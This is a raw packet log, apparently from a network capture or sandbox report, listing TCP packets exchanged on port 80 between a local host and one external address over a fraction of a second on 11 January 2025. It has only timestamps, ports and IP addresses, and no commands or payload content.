Jan 11, 2025 01:44:58.881504059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.881522894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.881544113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.882416964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.882432938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.882442951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.882452965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.882462025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.882472992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.882483006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.882492065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.882497072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.882503033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.882513046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.882524014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.882549047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.882574081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.883107901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.883152962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.883348942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.883363962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.883374929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.883383989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.883394957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.883404016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.883414030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.883416891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.883424044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.883434057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.883444071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.883454084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.883496046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.883891106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.884059906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.905725002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.905787945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.905802011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.905805111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.905812025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.905822039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.905833960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.905843019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.905853033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.905975103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.905975103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.905975103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.906064987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.906080008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.906091928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.906097889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.906100988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.906111956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.906126022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.906152964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.906408072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.906416893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.906459093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.947333097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.947345018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.947355032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.947396040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.954204082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.954225063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.954236031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.954247952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.954262018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.954263926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.954278946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.954318047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.979794979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.979847908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.979859114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.979871035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.979882002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.979892969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.979902029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.980113029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.980115891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.980123043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.980134010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.980146885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.980174065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.980207920 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.980392933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.980408907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.980420113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.980429888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.980438948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.980441093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.980448961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.980480909 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.012188911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.012263060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.012299061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.012332916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.012387037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.012424946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.012424946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.012439013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.012475014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.012484074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.012507915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.012542963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.012546062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.012569904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.012584925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.012598991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.012609959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.012624025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.012640953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.012641907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.012659073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.012689114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.012691021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.012706995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.012728930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.012737036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.012753010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.012768030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.012770891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.012810946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.013317108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.013329029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.013338089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.013362885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.013437986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.013473034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.013474941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.013524055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.013535976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.013545036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.013566017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.013593912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.013603926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.013614893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.013634920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.013644934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.013657093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.013665915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.013673067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.013703108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.014552116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.014568090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.014578104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.014588118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.014599085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.014609098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.014619112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.014621973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.014630079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.014640093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.014651060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.014653921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.014662027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.014681101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.014698029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.015288115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.015297890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.015309095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.015324116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.015335083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.015345097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.015355110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.015356064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.015367031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.015389919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.015399933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.015410900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.015413046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.015424967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.015435934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.015441895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.015472889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.016206980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.016223907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.016235113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.016272068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.016298056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.016309977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.016319990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.016330957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.016338110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.016360998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.016361952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.016381979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.016393900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.016442060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.016453028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.016480923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.017246962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.017265081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.017277002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.017290115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.017291069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.017303944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.017307043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.017314911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.017324924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.017334938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.017345905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.017355919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.017366886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.017369986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.017396927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.017417908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.018047094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.018059015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.018069029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.018095016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.019454002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.022803068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.042989969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.043041945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.043068886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.043076038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.043129921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.043165922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.043198109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.043226957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.043226957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.043231964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.043265104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.043268919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.043298960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.043342113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.043359041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.043392897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.043425083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.043428898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.043457985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.043489933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.043493032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.043524981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.043560982 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.045698881 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.066911936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.066982031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.067018032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.067049980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.067051888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.067085028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.067120075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.067152977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.067184925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.067203999 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.067203999 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.067255020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.067282915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.067286968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.067323923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.067341089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.067373037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.067405939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.067409992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.067439079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.067471981 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.067471981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.067504883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.067538977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.067542076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.067573071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.067608118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.067611933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.067640066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.067668915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.067672968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.098891973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.098942995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.098979950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.099014997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.099050045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.099082947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.099119902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.099245071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.099432945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.099487066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.099519968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.099535942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.099570036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.099602938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.099612951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.099632978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.099664927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.099672079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.099698067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.099730968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.099740982 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.099765062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.099792957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.099824905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.099858046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.099906921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.099940062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.099973917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.100008965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.100038052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.100042105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.100086927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.100087881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.100137949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.100171089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.100194931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.100198984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.100230932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.100245953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.100265026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.100296974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.100320101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.100347996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.100378990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.100394964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.100411892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.100442886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.100455999 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.100477934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.100508928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.100518942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.100542068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.100577116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.100579023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.100622892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.100665092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.100672960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.100707054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.100739002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.100748062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.100773096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.100805044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.100814104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.100836992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.100868940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.100882053 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.100902081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.100934029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.100948095 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.100969076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.101006985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.105998039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.106045961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.106096983 CET	80	49704	193.143.1.205	192.168.2.5
